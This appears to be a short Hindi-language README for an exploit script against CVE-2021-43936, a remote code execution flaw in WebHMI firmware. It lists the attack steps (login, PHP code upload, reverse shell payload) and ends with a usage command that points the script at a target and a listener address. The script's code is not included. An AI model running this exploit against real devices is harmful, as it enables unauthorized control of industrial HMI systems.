CVE-2021-43936

CVE-2021-43936 एक गंभीर भेद्यता (CVSS3 10.0) है जो WebHMI फर्मवेयर में रिमोट कोड निष्पादन (RCE) की ओर ले जाती है।
यह भेद्यता संस्करण 4.0 और नवीनतम संस्करणों पर काम करती है।
केवल 4.0.7475 पर परीक्षण किया गया है। स्क्रिप्ट द्वारा भेद्यता का उपयोग निम्नलिखित चरणों में किया जाता है:

1. एप्लिकेशन में लॉग इन करता है
2. PHP कोड निष्पादन स्क्रिप्ट अपलोड करता है
3. रिवर्स शेल पेलोड भेजता है

यदि एक से अधिक NIC जुड़े हों तो एक्सप्लॉइट विफल हो सकता है। समाधान यह है कि दोबारा प्रयास करें।

उपयोग उदाहरण:

python3 cve-2021-43936.py -t 10.100.23.200 -p 80 -l 10.100.23.201 -P 80